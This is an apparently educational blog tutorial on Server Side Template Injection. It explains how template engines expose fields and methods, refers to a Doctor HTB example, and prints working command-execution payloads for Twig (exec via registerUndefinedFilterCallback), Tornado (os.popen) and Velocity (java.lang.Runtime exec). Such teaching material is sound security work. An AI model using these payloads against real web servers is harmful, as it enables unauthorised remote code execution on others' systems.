Web pages use template engines to render dynamic data . Improper sanitization of user input could lead to Server Side Template Injection . Unlike XSS , Template injection can be used to directly attack web servers’ internals and even get Remote Code Execution .

Template Injection can arise both through developer error, and through the intentional exposure of templates in an attempt to offer rich functionality, as commonly done by wikis, blogs, marketing applications and content management systems. Intentional template injection is such a common use-case that many template engines offer a ‘sandboxed’ mode for this express purpose.

Template is a form of script that does more than just simple data binding . Since data structures are complex , templates provides some capabilities similar to programming . A common example is the template engine may allow to reach field from objects

1
Hello {{user.firstName}} {{user.lastName}}!

So the nested properties in the above statement will not be evaluated by the language but the template will do the method call , fetch the value and pass on to the program . In addition to the syntax being simple it also powerful enough to do more than data bindings .

If the engine allows the access of fields , we might be able to access interesting internal data structure . Internal data structure could have interesting state to override. They may expose powerful types.

If the engine allows function calls, we are coming to target function that read files, execute commands or access internal states of the application.

Identifying Template Engine

The Wappalyzer browser plugin will help narrow down the search by giving the tools and technologies used in the application .

Most common libraries are the following for following languages .

  • C# (StringTemplate, ASPX which is used dynamically on Sharepoint)
  • Java (Velocity, Freemarker, Pebble, Thymeleaf and Jinjava)
  • PHP (Twig, Smarty, Dwoo, Volt, Blade, Plates, Mustache, Python, Jinja2, Tornado, mustache and String Template)
  • Go (text/template)

This decision tree can help in determining what templating engine it is and if it is vulnerable and to what kind of payload

decison-tree

Twig (PHP)

Twig syntax example :-

1
2
Hello {{ var }}
Hello {{ var|escape }}

Test if it is vulnerable using

1
{{1338-1}}

Twig has a variable _self which makes a few of the internal APISs publis . Below is a malicious payload that was created to take advantage of the registerUndefinedFilterCallback function. In the payload below the command id is executed returning the id from the current user.

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Jinja2 (Python)

Jinja2 syntax examples :-

1
2
3
4
5
6
//String
{{ message }}
//Accessing an attribute
{{ foo.bar }}
//Accessing an attribute (alternative)
{{ foo['bar'] }}

Python metadata properties can be read from any Python object. Method calls are also not filtered. Accessing powerful operations such command execution is, however, not trivial.

refer here for all jinja2 ssti

For example in the Doctor HTB Box the developer had left an archive page that directly took the title and put it between
code
so we can try the test for jinja2 by doing a simple arithemetic operation and trying to escape it with {{}}
these are the values we gave
ssti
and this is the execution of the sum operation
sum

One thing to note here is while we are performing SSTI , we will need to do a little information gathering by accessing the mro attribute of python . In the information gathering except to find all classes available and there index so they can be invoked . for more details of what i am taking about refer here

Tornado (Python)

Tornado syntax examples :-

1
Hello {{userName}}

THis supports the import directive so in the exploitation we can directly use it to get os.

1
2
{%import os%}
{{os.popen("whoami").read()}}

Velocity (Java)

Velocity has variable assignment.

1
2
3
#set( $foo = "bar" )

$foo

This is used to access interestung types. Here is an example payload

1
2
3
4
5
6
7
8
9
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##

#set($ex=$rt.getRuntime().exec('ls'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
⬆︎TOP